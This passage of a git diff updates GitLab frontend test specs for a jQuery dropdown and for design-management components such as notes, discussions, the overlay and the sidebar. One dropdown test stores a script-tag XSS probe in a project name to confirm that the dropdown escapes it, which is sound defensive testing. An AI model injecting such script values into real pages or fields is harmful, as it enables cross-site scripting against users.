+ expect(test.dropdownContainerElement).not.toHaveClass('show');
+ test.dropdownButtonElement.click();
+
+ expect(test.dropdownContainerElement).toHaveClass('show');
+ });
+
+ it('escapes HTML as text', () => {
+ test.projectsData[0].name_with_namespace = '<script>alert("testing");</script>';
+
+ initDropDown.call(this, false);
+
+ test.dropdownButtonElement.click();
+
+ expect($('.dropdown-content li:first-child').text()).toBe('<script>alert("testing");</script>');
+ });
+
+ it('should output HTML when highlighting', () => {
+ test.projectsData[0].name_with_namespace = 'testing';
+ $('.dropdown-input .dropdown-input-field').val('test');
+
+ initDropDown.call(this, false, true, {
+ highlight: true,
+ });
+
+ test.dropdownButtonElement.click();
+
+ expect($('.dropdown-content li:first-child').text()).toBe('testing');
+
+ expect($('.dropdown-content li:first-child a').html()).toBe(
+ '<b>t</b><b>e</b><b>s</b><b>t</b>ing',
+ );
+ });
+
+ describe('that is open', () => {
+ beforeEach(() => {
+ initDropDown.call(this, false, false);
+ test.dropdownButtonElement.click();
+ });
+
+ it('should select a following item on DOWN keypress', () => {
+ expect($(FOCUSED_ITEM_SELECTOR, test.$dropdownMenuElement).length).toBe(0);
+ const randomIndex = Math.floor(Math.random() * (test.projectsData.length - 1)) + 0;
+ navigateWithKeys('down', randomIndex, () => {
+ expect($(FOCUSED_ITEM_SELECTOR, test.$dropdownMenuElement).length).toBe(1);
+ expect($(`${ITEM_SELECTOR}:eq(${randomIndex}) a`, test.$dropdownMenuElement)).toHaveClass(
+ 'is-focused',
+ );
+ });
+ });
+
+ it('should select a previous item on UP keypress', () => {
+ expect($(FOCUSED_ITEM_SELECTOR, test.$dropdownMenuElement).length).toBe(0);
+ navigateWithKeys('down', test.projectsData.length - 1, () => {
+ expect($(FOCUSED_ITEM_SELECTOR, test.$dropdownMenuElement).length).toBe(1);
+ const randomIndex = Math.floor(Math.random() * (test.projectsData.length - 2)) + 0;
+ navigateWithKeys('up', randomIndex, () => {
+ expect($(FOCUSED_ITEM_SELECTOR, test.$dropdownMenuElement).length).toBe(1);
+ expect(
+ $(
+ `${ITEM_SELECTOR}:eq(${test.projectsData.length - 2 - randomIndex}) a`,
+ test.$dropdownMenuElement,
+ ),
+ ).toHaveClass('is-focused');
+ });
+ });
+ });
+
+ it('should click the selected item on ENTER keypress', () => {
+ expect(test.dropdownContainerElement).toHaveClass('show');
+ const randomIndex = Math.floor(Math.random() * (test.projectsData.length - 1)) + 0;
+ navigateWithKeys('down', randomIndex, () => {
+ navigateWithKeys('enter', null, () => {
+ expect(test.dropdownContainerElement).not.toHaveClass('show');
+ const link = $(`${ITEM_SELECTOR}:eq(${randomIndex}) a`, test.$dropdownMenuElement);
+
+ expect(link).toHaveClass('is-active');
+ const linkedLocation = link.attr('href');
+ if (linkedLocation && linkedLocation !== '#') {
+ expect(visitUrl).toHaveBeenCalledWith(linkedLocation);
+ }
+ });
+ });
+ });
+
+ it('should close on ESC keypress', () => {
+ expect(test.dropdownContainerElement).toHaveClass('show');
+ test.dropdownContainerElement.trigger({
+ type: 'keyup',
+ which: ARROW_KEYS.ESC,
+ keyCode: ARROW_KEYS.ESC,
+ });
+
+ expect(test.dropdownContainerElement).not.toHaveClass('show');
+ });
+ });
+
+ describe('opened and waiting for a remote callback', () => {
+ beforeEach(() => {
+ initDropDown.call(this, true, true);
+ test.dropdownButtonElement.click();
+ });
+
+ it('should show loading indicator while search results are being fetched by backend', () => {
+ const dropdownMenu = document.querySelector('.dropdown-menu');
+
+ expect(dropdownMenu.className.indexOf('is-loading')).not.toBe(-1);
+ remoteCallback();
+
+ expect(dropdownMenu.className.indexOf('is-loading')).toBe(-1);
+ });
+
+ it('should not focus search input while remote task is not complete', () => {
+ expect($(document.activeElement)).not.toEqual($(SEARCH_INPUT_SELECTOR));
+ remoteCallback();
+
+ expect($(document.activeElement)).toEqual($(SEARCH_INPUT_SELECTOR));
+ });
+
+ it('should focus search input after remote task is complete', () => {
+ remoteCallback();
+
+ expect($(document.activeElement)).toEqual($(SEARCH_INPUT_SELECTOR));
+ });
+
+ it('should focus on input when opening for the second time after transition', () => {
+ remoteCallback();
+ test.dropdownContainerElement.trigger({
+ type: 'keyup',
+ which: ARROW_KEYS.ESC,
+ keyCode: ARROW_KEYS.ESC,
+ });
+ test.dropdownButtonElement.click();
+ test.dropdownContainerElement.trigger('transitionend');
+
+ expect($(document.activeElement)).toEqual($(SEARCH_INPUT_SELECTOR));
+ });
+ });
+
+ describe('input focus with array data', () => {
+ it('should focus input when passing array data to drop down', () => {
+ initDropDown.call(this, false, true);
+ test.dropdownButtonElement.click();
+ test.dropdownContainerElement.trigger('transitionend');
+
+ expect($(document.activeElement)).toEqual($(SEARCH_INPUT_SELECTOR));
+ });
+ });
+
+ it('should still have input value on close and restore', () => {
+ const $searchInput = $(SEARCH_INPUT_SELECTOR);
+ initDropDown.call(this, false, true);
+ $searchInput
+ .trigger('focus')
+ .val('g')
+ .trigger('input');
+
+ expect($searchInput.val()).toEqual('g');
+ test.dropdownButtonElement.trigger('hidden.bs.dropdown');
+ $searchInput.trigger('blur').trigger('focus');
+
+ expect($searchInput.val()).toEqual('g');
+ });
+
+ describe('renderItem', () => {
+ function dropdownWithOptions(options) {
+ const $dropdownDiv = $('<div />');
+
+ initDeprecatedJQueryDropdown($dropdownDiv, options);
+
+ return $dropdownDiv.data('deprecatedJQueryDropdown');
+ }
+
+ function basicDropdown() {
+ return dropdownWithOptions({});
+ }
+
+ describe('without selected value', () => {
+ let dropdown;
+
+ beforeEach(() => {
+ dropdown = basicDropdown();
+ });
+
+ it('marks items without ID as active', () => {
+ const dummyData = {};
+
+ const html = dropdown.renderItem(dummyData, null, null);
+
+ const link = html.querySelector('a');
+
+ expect(link).toHaveClass('is-active');
+ });
+
+ it('does not mark items with ID as active', () => {
+ const dummyData = {
+ id: 'ea',
+ };
+
+ const html = dropdown.renderItem(dummyData, null, null);
+
+ const link = html.querySelector('a');
+
+ expect(link).not.toHaveClass('is-active');
+ });
+ });
+
+ it('should return an empty .separator li when when appropriate', () => {
+ const dropdown = basicDropdown();
+ const sep = { type: 'separator' };
+ const li = dropdown.renderItem(sep);
+
+ expect(li).toHaveClass('separator');
+ expect(li.childNodes.length).toEqual(0);
+ });
+
+ it('should return an empty .divider li when when appropriate', () => {
+ const dropdown = basicDropdown();
+ const div = { type: 'divider' };
+ const li = dropdown.renderItem(div);
+
+ expect(li).toHaveClass('divider');
+ expect(li.childNodes.length).toEqual(0);
+ });
+
+ it('should return a .dropdown-header li with the correct content when when appropriate', () => {
+ const dropdown = basicDropdown();
+ const text = 'My Header';
+ const header = { type: 'header', content: text };
+ const li = dropdown.renderItem(header);
+
+ expect(li).toHaveClass('dropdown-header');
+ expect(li.childNodes.length).toEqual(1);
+ expect(li.textContent).toEqual(text);
+ });
+
+ describe('with a trackSuggestionsClickedLabel', () => {
+ it('it includes data-track attributes', () => {
+ const dropdown = dropdownWithOptions({
+ trackSuggestionClickedLabel: 'some_value_for_label',
+ });
+ const item = {
+ id: 'some-element-id',
+ text: 'the link text',
+ url: 'http://example.com',
+ category: 'Suggestion category',
+ };
+ const li = dropdown.renderItem(item, null, 3);
+ const link = li.querySelector('a');
+
+ expect(link).toHaveAttr('data-track-event', 'click_text');
+ expect(link).toHaveAttr('data-track-label', 'some_value_for_label');
+ expect(link).toHaveAttr('data-track-value', '3');
+ expect(link).toHaveAttr('data-track-property', 'suggestion-category');
+ });
+
+ it('it defaults property to no_category when category not provided', () => {
+ const dropdown = dropdownWithOptions({
+ trackSuggestionClickedLabel: 'some_value_for_label',
+ });
+ const item = {
+ id: 'some-element-id',
+ text: 'the link text',
+ url: 'http://example.com',
+ };
+ const li = dropdown.renderItem(item);
+ const link = li.querySelector('a');
+
+ expect(link).toHaveAttr('data-track-property', 'no-category');
+ });
+ });
+ });
+
+ it('should keep selected item after selecting a second time', () => {
+ const options = {
+ isSelectable(item, $el) {
+ return !$el.hasClass('is-active');
+ },
+ toggleLabel(item) {
+ return item && item.id;
+ },
+ };
+ initDropDown.call(this, false, false, options);
+ const $item = $(`${ITEM_SELECTOR}:first() a`, test.$dropdownMenuElement);
+
+ // select item the first time
+ test.dropdownButtonElement.click();
+ $item.click();
+
+ expect($item).toHaveClass('is-active');
+ // select item the second time
+ test.dropdownButtonElement.click();
+ $item.click();
+
+ expect($item).toHaveClass('is-active');
+
+ expect($('.dropdown-toggle-text')).toHaveText(test.projectsData[0].id.toString());
+ });
+});
diff --git a/spec/frontend/design_management/components/delete_button_spec.js b/spec/frontend/design_management/components/delete_button_spec.js
index cd4ef1f0ccd..961f5bdd2ae 100644
--- a/spec/frontend/design_management/components/delete_button_spec.js
+++ b/spec/frontend/design_management/components/delete_button_spec.js
@@ -8,7 +8,7 @@ describe('Batch delete button component', () => {
const findButton = () => wrapper.find(GlButton);
const findModal = () => wrapper.find(GlModal);
- function createComponent(isDeleting = false) {
+ function createComponent({ isDeleting = false } = {}, { slots = {} } = {}) {
wrapper = shallowMount(BatchDeleteButton, {
propsData: {
isDeleting,
@@ -16,6 +16,7 @@ describe('Batch delete button component', () => {
directives: {
GlModalDirective,
},
+ slots,
});
}
@@ -31,7 +32,7 @@ describe('Batch delete button component', () => {
});
it('renders disabled button when design is deleting', () => {
- createComponent(true);
+ createComponent({ isDeleting: true });
expect(findButton().attributes('disabled')).toBeTruthy();
});
@@ -48,4 +49,18 @@ describe('Batch delete button component', () => {
expect(wrapper.emitted().deleteSelectedDesigns).toBeTruthy();
});
});
+
+ it('renders slot content', () => {
+ const testText = 'Archive selected';
+ createComponent(
+ {},
+ {
+ slots: {
+ default: testText,
+ },
+ },
+ );
+
+ expect(findButton().text()).toBe(testText);
+ });
});
diff --git a/spec/frontend/design_management/components/design_notes/__snapshots__/design_note_spec.js.snap b/spec/frontend/design_management/components/design_notes/__snapshots__/design_note_spec.js.snap
index b55bacb6fc5..084a7e5d712 100644
--- a/spec/frontend/design_management/components/design_notes/__snapshots__/design_note_spec.js.snap
+++ b/spec/frontend/design_management/components/design_notes/__snapshots__/design_note_spec.js.snap
@@ -17,15 +17,15 @@ exports[`Design note component should match the snapshot 1`] = `
/>
<div
- class="d-flex justify-content-between"
+ class="gl-display-flex gl-justify-content-space-between"
>
<div>
- <a
+ <gl-link-stub
class="js-user-link"
data-user-id="author-id"
>
<span
- class="note-header-author-name bold"
+ class="note-header-author-name gl-font-weight-bold"
>
</span>
@@ -37,7 +37,7 @@ exports[`Design note component should match the snapshot 1`] = `
>
@
</span>
- </a>
+ </gl-link-stub>
<span
class="note-headline-light note-headline-meta"
@@ -46,12 +46,21 @@ exports[`Design note component should match the snapshot 1`] = `
class="system-note-message"
/>
- <!---->
+ <gl-link-stub
+ class="note-timestamp system-note-separator gl-display-block gl-mb-2"
+ href="#note_123"
+ >
+ <time-ago-tooltip-stub
+ cssclass=""
+ time="2019-07-26T15:02:20Z"
+ tooltipplacement="bottom"
+ />
+ </gl-link-stub>
</span>
</div>
<div
- class="gl-display-flex"
+ class="gl-display-flex gl-align-items-baseline"
>
<!---->
diff --git a/spec/frontend/design_management/components/design_notes/__snapshots__/design_reply_form_spec.js.snap b/spec/frontend/design_management/components/design_notes/__snapshots__/design_reply_form_spec.js.snap
index e01c79e3520..f8c68ca4c83 100644
--- a/spec/frontend/design_management/components/design_notes/__snapshots__/design_reply_form_spec.js.snap
+++ b/spec/frontend/design_management/components/design_notes/__snapshots__/design_reply_form_spec.js.snap
@@ -1,15 +1,17 @@
// Jest Snapshot v1, https://goo.gl/fbAQLP
exports[`Design reply form component renders button text as "Comment" when creating a comment 1`] = `
-"<button data-track-event=\\"click_button\\" data-qa-selector=\\"save_comment_button\\" type=\\"submit\\" disabled=\\"disabled\\" class=\\"btn btn-success btn-md disabled\\">
+"<button data-track-event=\\"click_button\\" data-qa-selector=\\"save_comment_button\\" type=\\"submit\\" disabled=\\"disabled\\" class=\\"btn btn-success btn-md disabled gl-button\\">
<!---->
- Comment
-</button>"
+ <!----> <span class=\\"gl-button-text\\">
+ Comment
+ </span></button>"
`;
exports[`Design reply form component renders button text as "Save comment" when creating a comment 1`] = `
-"<button data-track-event=\\"click_button\\" data-qa-selector=\\"save_comment_button\\" type=\\"submit\\" disabled=\\"disabled\\" class=\\"btn btn-success btn-md disabled\\">
+"<button data-track-event=\\"click_button\\" data-qa-selector=\\"save_comment_button\\" type=\\"submit\\" disabled=\\"disabled\\" class=\\"btn btn-success btn-md disabled gl-button\\">
<!---->
- Save comment
-</button>"
+ <!----> <span class=\\"gl-button-text\\">
+ Save comment
+ </span></button>"
`;
diff --git a/spec/frontend/design_management/components/design_notes/design_discussion_spec.js b/spec/frontend/design_management/components/design_notes/design_discussion_spec.js
index 176c10ea584..9fbd9b2c2a3 100644
--- a/spec/frontend/design_management/components/design_notes/design_discussion_spec.js
+++ b/spec/frontend/design_management/components/design_notes/design_discussion_spec.js
@@ -8,8 +8,9 @@ import createNoteMutation from '~/design_management/graphql/mutations/create_not
import toggleResolveDiscussionMutation from '~/design_management/graphql/mutations/toggle_resolve_discussion.mutation.graphql';
import ReplyPlaceholder from '~/notes/components/discussion_reply_placeholder.vue';
import ToggleRepliesWidget from '~/design_management/components/design_notes/toggle_replies_widget.vue';
+import mockDiscussion from '../../mock_data/discussion';
-const discussion = {
+const defaultMockDiscussion = {
id: '0',
resolved: false,
resolvable: true,
@@ -31,7 +32,6 @@ describe('Design discussions component', () => {
const mutationVariables = {
mutation: createNoteMutation,
- update: expect.anything(),
variables: {
input: {
noteableId: 'noteable-id',
@@ -40,7 +40,7 @@ describe('Design discussions component', () => {
},
},
};
- const mutate = jest.fn(() => Promise.resolve());
+ const mutate = jest.fn().mockResolvedValue({ data: { createNote: { errors: [] } } });
const $apollo = {
mutate,
};
@@ -49,7 +49,7 @@ describe('Design discussions component', () => {
wrapper = mount(DesignDiscussion, {
propsData: {
resolvedDiscussionsExpanded: true,
- discussion,
+ discussion: defaultMockDiscussion,
noteableId: 'noteable-id',
designId: 'design-id',
discussionIndex: 1,
@@ -82,7 +82,7 @@ describe('Design discussions component', () => {
beforeEach(() => {
createComponent({
discussion: {
- ...discussion,
+ ...defaultMockDiscussion,
resolvable: false,
},
});
@@ -93,7 +93,7 @@ describe('Design discussions component', () => {
});
it('does not render a checkbox in reply form', () => {
- findReplyPlaceholder().vm.$emit('onMouseDown');
+ findReplyPlaceholder().vm.$emit('onClick');
return wrapper.vm.$nextTick().then(() => {
expect(findResolveCheckbox().exists()).toBe(false);
@@ -125,7 +125,7 @@ describe('Design discussions component', () => {
it('renders a checkbox with Resolve thread text in reply form', () => {
findReplyPlaceholder().vm.$emit('onClick');
- wrapper.setProps({ discussionWithOpenForm: discussion.id });
+ wrapper.setProps({ discussionWithOpenForm: defaultMockDiscussion.id });
return wrapper.vm.$nextTick().then(() => {
expect(findResolveCheckbox().text()).toBe('Resolve thread');
@@ -141,7 +141,7 @@ describe('Design discussions component', () => {
beforeEach(() => {
createComponent({
discussion: {
- ...discussion,
+ ...defaultMockDiscussion,
resolved: true,
resolvedBy: notes[0].author,
resolvedAt: '2020-05-08T07:10:45Z',
@@ -206,7 +206,7 @@ describe('Design discussions component', () => {
it('renders a checkbox with Unresolve thread text in reply form', () => {
findReplyPlaceholder().vm.$emit('onClick');
- wrapper.setProps({ discussionWithOpenForm: discussion.id });
+ wrapper.setProps({ discussionWithOpenForm: defaultMockDiscussion.id });
return wrapper.vm.$nextTick().then(() => {
expect(findResolveCheckbox().text()).toBe('Unresolve thread');
@@ -218,7 +218,7 @@ describe('Design discussions component', () => {
it('hides reply placeholder and opens form on placeholder click', () => {
createComponent();
findReplyPlaceholder().vm.$emit('onClick');
- wrapper.setProps({ discussionWithOpenForm: discussion.id });
+ wrapper.setProps({ discussionWithOpenForm: defaultMockDiscussion.id });
return wrapper.vm.$nextTick().then(() => {
expect(findReplyPlaceholder().exists()).toBe(false);
@@ -226,34 +226,31 @@ describe('Design discussions component', () => {
});
});
- it('calls mutation on submitting form and closes the form', () => {
+ it('calls mutation on submitting form and closes the form', async () => {
createComponent(
- { discussionWithOpenForm: discussion.id },
+ { discussionWithOpenForm: defaultMockDiscussion.id },
{ discussionComment: 'test', isFormRendered: true },
);
- findReplyForm().vm.$emit('submitForm');
+ findReplyForm().vm.$emit('submit-form');
expect(mutate).toHaveBeenCalledWith(mutationVariables);
- return mutate()
- .then(() => {
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- expect(findReplyForm().exists()).toBe(false);
- });
+ await mutate();
+ await wrapper.vm.$nextTick();
+
+ expect(findReplyForm().exists()).toBe(false);
});
it('clears the discussion comment on closing comment form', () => {
createComponent(
- { discussionWithOpenForm: discussion.id },
+ { discussionWithOpenForm: defaultMockDiscussion.id },
{ discussionComment: 'test', isFormRendered: true },
);
return wrapper.vm
.$nextTick()
.then(() => {
- findReplyForm().vm.$emit('cancelForm');
+ findReplyForm().vm.$emit('cancel-form');
expect(wrapper.vm.discussionComment).toBe('');
return wrapper.vm.$nextTick();
@@ -263,19 +260,26 @@ describe('Design discussions component', () => {
});
});
- it('applies correct class to design notes when discussion is highlighted', () => {
- createComponent(
- {},
- {
- activeDiscussion: {
- id: notes[0].id,
- source: 'pin',
- },
- },
- );
+ describe('when any note from a discussion is active', () => {
+ it.each([notes[0], notes[0].discussion.notes.nodes[1]])(
+ 'applies correct class to all notes in the active discussion',
+ note => {
+ createComponent(
+ { discussion: mockDiscussion },
+ {
+ activeDiscussion: {
+ id: note.id,
+ source: 'pin',
+ },
+ },
+ );
- expect(wrapper.findAll(DesignNote).wrappers.every(note => note.classes('gl-bg-blue-50'))).toBe(
- true,
+ expect(
+ wrapper
+ .findAll(DesignNote)
+ .wrappers.every(designNote => designNote.classes('gl-bg-blue-50')),
+ ).toBe(true);
+ },
);
});
@@ -285,7 +289,7 @@ describe('Design discussions component', () => {
expect(mutate).toHaveBeenCalledWith({
mutation: toggleResolveDiscussionMutation,
variables: {
- id: discussion.id,
+ id: defaultMockDiscussion.id,
resolve: true,
},
});
@@ -296,7 +300,7 @@ describe('Design discussions component', () => {
it('calls toggleResolveDiscussion mutation after adding a note if checkbox was checked', () => {
createComponent(
- { discussionWithOpenForm: discussion.id },
+ { discussionWithOpenForm: defaultMockDiscussion.id },
{ discussionComment: 'test', isFormRendered: true },
);
findResolveButton().trigger('click');
@@ -306,7 +310,7 @@ describe('Design discussions component', () => {
expect(mutate).toHaveBeenCalledWith({
mutation: toggleResolveDiscussionMutation,
variables: {
- id: discussion.id,
+ id: defaultMockDiscussion.id,
resolve: true,
},
});
@@ -317,6 +321,6 @@ describe('Design discussions component', () => {
createComponent();
findReplyPlaceholder().vm.$emit('onClick');
- expect(wrapper.emitted('openForm')).toBeTruthy();
+ expect(wrapper.emitted('open-form')).toBeTruthy();
});
});
diff --git a/spec/frontend/design_management/components/design_notes/design_note_spec.js b/spec/frontend/design_management/components/design_notes/design_note_spec.js
index 8b32d3022ee..043091e3dc2 100644
--- a/spec/frontend/design_management/components/design_notes/design_note_spec.js
+++ b/spec/frontend/design_management/components/design_notes/design_note_spec.js
@@ -15,6 +15,7 @@ const note = {
userPermissions: {
adminNote: false,
},
+ createdAt: '2019-07-26T15:02:20Z',
};
HTMLElement.prototype.scrollIntoView = scrollIntoViewMock;
@@ -79,21 +80,10 @@ describe('Design note component', () => {
it('should render a time ago tooltip if note has createdAt property', () => {
createComponent({
- note: {
- ...note,
- createdAt: '2019-07-26T15:02:20Z',
- },
- });
-
- expect(wrapper.find(TimeAgoTooltip).exists()).toBe(true);
- });
-
- it('should trigger a scrollIntoView method', () => {
- createComponent({
note,
});
- expect(scrollIntoViewMock).toHaveBeenCalled();
+ expect(wrapper.find(TimeAgoTooltip).exists()).toBe(true);
});
it('should not render edit icon when user does not have a permission', () => {
@@ -143,8 +133,8 @@ describe('Design note component', () => {
expect(findReplyForm().exists()).toBe(true);
});
- it('hides the form on hideForm event', () => {
- findReplyForm().vm.$emit('cancelForm');
+ it('hides the form on cancel-form event', () => {
+ findReplyForm().vm.$emit('cancel-form');
return wrapper.vm.$nextTick().then(() => {
expect(findReplyForm().exists()).toBe(false);
@@ -152,8 +142,8 @@ describe('Design note component', () => {
});
});
- it('calls a mutation on submitForm event and hides a form', () => {
- findReplyForm().vm.$emit('submitForm');
+ it('calls a mutation on submit-form event and hides a form', () => {
+ findReplyForm().vm.$emit('submit-form');
expect(mutate).toHaveBeenCalled();
return mutate()
diff --git a/spec/frontend/design_management/components/design_notes/design_reply_form_spec.js b/spec/frontend/design_management/components/design_notes/design_reply_form_spec.js
index 16b34f150b8..1a80fc4e761 100644
--- a/spec/frontend/design_management/components/design_notes/design_reply_form_spec.js
+++ b/spec/frontend/design_management/components/design_notes/design_reply_form_spec.js
@@ -70,7 +70,7 @@ describe('Design reply form component', () => {
});
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('submitForm')).toBeFalsy();
+ expect(wrapper.emitted('submit-form')).toBeFalsy();
});
});
@@ -80,20 +80,20 @@ describe('Design reply form component', () => {
});
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('submitForm')).toBeFalsy();
+ expect(wrapper.emitted('submit-form')).toBeFalsy();
});
});
it('emits cancelForm event on pressing escape button on textarea', () => {
findTextarea().trigger('keyup.esc');
- expect(wrapper.emitted('cancelForm')).toBeTruthy();
+ expect(wrapper.emitted('cancel-form')).toBeTruthy();
});
it('emits cancelForm event on clicking Cancel button', () => {
findCancelButton().vm.$emit('click');
- expect(wrapper.emitted('cancelForm')).toHaveLength(1);
+ expect(wrapper.emitted('cancel-form')).toHaveLength(1);
});
});
@@ -112,7 +112,7 @@ describe('Design reply form component', () => {
findSubmitButton().vm.$emit('click');
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('submitForm')).toBeTruthy();
+ expect(wrapper.emitted('submit-form')).toBeTruthy();
});
});
@@ -122,7 +122,7 @@ describe('Design reply form component', () => {
});
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('submitForm')).toBeTruthy();
+ expect(wrapper.emitted('submit-form')).toBeTruthy();
});
});
@@ -132,7 +132,7 @@ describe('Design reply form component', () => {
});
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('submitForm')).toBeTruthy();
+ expect(wrapper.emitted('submit-form')).toBeTruthy();
});
});
@@ -147,7 +147,7 @@ describe('Design reply form component', () => {
it('emits cancelForm event on Escape key if text was not changed', () => {
findTextarea().trigger('keyup.esc');
- expect(wrapper.emitted('cancelForm')).toBeTruthy();
+ expect(wrapper.emitted('cancel-form')).toBeTruthy();
});
it('opens confirmation modal on Escape key when text has changed', () => {
@@ -162,7 +162,7 @@ describe('Design reply form component', () => {
it('emits cancelForm event on Cancel button click if text was not changed', () => {
findCancelButton().trigger('click');
- expect(wrapper.emitted('cancelForm')).toBeTruthy();
+ expect(wrapper.emitted('cancel-form')).toBeTruthy();
});
it('opens confirmation modal on Cancel button click when text has changed', () => {
@@ -178,7 +178,7 @@ describe('Design reply form component', () => {
findTextarea().trigger('keyup.esc');
findModal().vm.$emit('ok');
- expect(wrapper.emitted('cancelForm')).toBeTruthy();
+ expect(wrapper.emitted('cancel-form')).toBeTruthy();
});
});
});
diff --git a/spec/frontend/design_management/components/design_overlay_spec.js b/spec/frontend/design_management/components/design_overlay_spec.js
index f243323b162..673a09320e5 100644
--- a/spec/frontend/design_management/components/design_overlay_spec.js
+++ b/spec/frontend/design_management/components/design_overlay_spec.js
@@ -11,11 +11,11 @@ describe('Design overlay component', () => {
const mockDimensions = { width: 100, height: 100 };
- const findOverlay = () => wrapper.find('.image-diff-overlay');
const findAllNotes = () => wrapper.findAll('.js-image-badge');
const findCommentBadge = () => wrapper.find('.comment-indicator');
- const findFirstBadge = () => findAllNotes().at(0);
- const findSecondBadge = () => findAllNotes().at(1);
+ const findBadgeAtIndex = noteIndex => findAllNotes().at(noteIndex);
+ const findFirstBadge = () => findBadgeAtIndex(0);
+ const findSecondBadge = () => findBadgeAtIndex(1);
const clickAndDragBadge = (elem, fromPoint, toPoint) => {
elem.trigger('mousedown', { clientX: fromPoint.x, clientY: fromPoint.y });
@@ -56,9 +56,7 @@ describe('Design overlay component', () => {
it('should have correct inline style', () => {
createComponent();
- expect(wrapper.find('.image-diff-overlay').attributes().style).toBe(
- 'width: 100px; height: 100px; top: 0px; left: 0px;',
- );
+ expect(wrapper.attributes().style).toBe('width: 100px; height: 100px; top: 0px; left: 0px;');
});
it('should emit `openCommentForm` when clicking on overlay', () => {
@@ -69,7 +67,7 @@ describe('Design overlay component', () => {
};
wrapper
- .find('.image-diff-overlay-add-comment')
+ .find('[data-qa-selector="design_image_button"]')
.trigger('mouseup', { offsetX: newCoordinates.x, offsetY: newCoordinates.y });
return wrapper.vm.$nextTick().then(() => {
expect(wrapper.emitted('openCommentForm')).toEqual([
@@ -107,16 +105,43 @@ describe('Design overlay component', () => {
expect(findSecondBadge().classes()).toContain('resolved');
});
- it('when there is an active discussion, should apply inactive class to all pins besides the active one', () => {
- wrapper.setData({
- activeDiscussion: {
- id: notes[0].id,
- source: 'discussion',
- },
+ describe('when no discussion is active', () => {
+ it('should not apply inactive class to any pins', () => {
+ expect(
+ findAllNotes(0).wrappers.every(designNote => designNote.classes('gl-bg-blue-50')),
+ ).toBe(false);
});
+ });
+
+ describe('when a discussion is active', () => {
+ it.each([notes[0].discussion.notes.nodes[1], notes[0].discussion.notes.nodes[0]])(
+ 'should not apply inactive class to the pin for the active discussion',
+ note => {
+ wrapper.setData({
+ activeDiscussion: {
+ id: note.id,
+ source: 'discussion',
+ },
+ });
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(findBadgeAtIndex(0).classes()).not.toContain('inactive');
+ });
+ },
+ );
+
+ it('should apply inactive class to all pins besides the active one', () => {
+ wrapper.setData({
+ activeDiscussion: {
+ id: notes[0].id,
+ source: 'discussion',
+ },
+ });
- return wrapper.vm.$nextTick().then(() => {
- expect(findSecondBadge().classes()).toContain('inactive');
+ return wrapper.vm.$nextTick().then(() => {
+ expect(findSecondBadge().classes()).toContain('inactive');
+ expect(findFirstBadge().classes()).not.toContain('inactive');
+ });
});
});
});
@@ -309,7 +334,7 @@ describe('Design overlay component', () => {
it.each`
element | getElementFunc | event
- ${'overlay'} | ${findOverlay} | ${'mouseleave'}
+ ${'overlay'} | ${() => wrapper} | ${'mouseleave'}
${'comment badge'} | ${findCommentBadge} | ${'mouseup'}
`(
'should emit `openCommentForm` event when $event fired on $element element',
diff --git a/spec/frontend/design_management/components/design_presentation_spec.js b/spec/frontend/design_management/components/design_presentation_spec.js
index 7e513182589..d633d00f2ed 100644
--- a/spec/frontend/design_management/components/design_presentation_spec.js
+++ b/spec/frontend/design_management/components/design_presentation_spec.js
@@ -42,7 +42,7 @@ describe('Design management design presentation component', () => {
wrapper.element.scrollTo = jest.fn();
}
- const findOverlayCommentButton = () => wrapper.find('.image-diff-overlay-add-comment');
+ const findOverlayCommentButton = () => wrapper.find('[data-qa-selector="design_image_button"]');
/**
* Spy on $refs and mock given values
diff --git a/spec/frontend/design_management/components/design_sidebar_spec.js b/spec/frontend/design_management/components/design_sidebar_spec.js
index e098e7de867..700faa8a70f 100644
--- a/spec/frontend/design_management/components/design_sidebar_spec.js
+++ b/spec/frontend/design_management/components/design_sidebar_spec.js
@@ -6,6 +6,10 @@ import Participants from '~/sidebar/components/participants/participants.vue';
import DesignDiscussion from '~/design_management/components/design_notes/design_discussion.vue';
import design from '../mock_data/design';
import updateActiveDiscussionMutation from '~/design_management/graphql/mutations/update_active_discussion.mutation.graphql';
+import DesignTodoButton from '~/design_management/components/design_todo_button.vue';
+
+const scrollIntoViewMock = jest.fn();
+HTMLElement.prototype.scrollIntoView = scrollIntoViewMock;
const updateActiveDiscussionMutationVariables = {
mutation: updateActiveDiscussionMutation,
@@ -39,7 +43,7 @@ describe('Design management design sidebar component', () => {
const findNewDiscussionDisclaimer = () =>
wrapper.find('[data-testid="new-discussion-disclaimer"]');
- function createComponent(props = {}) {
+ function createComponent(props = {}, { enableTodoButton } = {}) {
wrapper = shallowMount(DesignSidebar, {
propsData: {
design,
@@ -53,6 +57,10 @@ describe('Design management design sidebar component', () => {
mutate,
},
},
+ stubs: { GlPopover },
+ provide: {
+ glFeatures: { designManagementTodoButton: enableTodoButton },
+ },
});
}
@@ -146,22 +154,22 @@ describe('Design management design sidebar component', () => {
});
it('emits correct event on discussion create note error', () => {
- findFirstDiscussion().vm.$emit('createNoteError', 'payload');
+ findFirstDiscussion().vm.$emit('create-note-error', 'payload');
expect(wrapper.emitted('onDesignDiscussionError')).toEqual([['payload']]);
});
it('emits correct event on discussion update note error', () => {
- findFirstDiscussion().vm.$emit('updateNoteError', 'payload');
+ findFirstDiscussion().vm.$emit('update-note-error', 'payload');
expect(wrapper.emitted('updateNoteError')).toEqual([['payload']]);
});
it('emits correct event on discussion resolve error', () => {
- findFirstDiscussion().vm.$emit('resolveDiscussionError', 'payload');
+ findFirstDiscussion().vm.$emit('resolve-discussion-error', 'payload');
expect(wrapper.emitted('resolveDiscussionError')).toEqual([['payload']]);
});
it('changes prop correctly on opening discussion form', () => {
- findFirstDiscussion().vm.$emit('openForm', 'some-id');
+ findFirstDiscussion().vm.$emit('open-form', 'some-id');
return wrapper.vm.$nextTick().then(() => {
expect(findFirstDiscussion().props('discussionWithOpenForm')).toBe('some-id');
@@ -220,6 +228,10 @@ describe('Design management design sidebar component', () => {
expect(findPopover().exists()).toBe(true);
});
+ it('scrolls to resolved threads link', () => {
+ expect(scrollIntoViewMock).toHaveBeenCalled();
+ });
+
it('dismisses a popover on the outside click', () => {
wrapper.trigger('click');
return wrapper.vm.$nextTick(() => {
